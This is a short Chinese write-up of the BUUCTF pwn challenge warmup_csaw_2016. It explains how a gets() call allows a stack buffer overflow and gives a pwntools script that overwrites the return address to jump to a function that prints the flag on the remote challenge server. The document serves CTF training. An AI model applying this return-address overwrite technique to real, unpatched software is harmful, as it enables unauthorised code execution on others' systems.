Buuctf——warmup_csaw_2016
Buuctf——warmup_csaw_2016
解题过程
-
nc一下得到addr:0x40060d
-
file一下查看文件为64位程序
-
使用checksec查看当前二进制文件的指令架构以及采取了哪些保护机制。
-
IDA打开文件可以看到main函数中全部是输出,直到return时gets命令给v5赋值,可以发现刚刚输出的一个地址,是sub40060D这个函数的地址,点进去看一下。
-
发现cat flag.txt,我们只需要在main函数的gets这里产生栈溢出,覆盖掉返回值,就可以执行这个函数获取flag了。
-
v5的长度为0x40,再加上返回地址8个字节,要溢出的的总长度为‘0x40+8’个字节。
exp
from pwn import*
sh=remote('node4.buuoj.cn',25803)
flag_addr=0x40060D
payload=b'a'*(0x40+8)+p64(flag_addr)
sh.sendline(payload)
sh.interactive()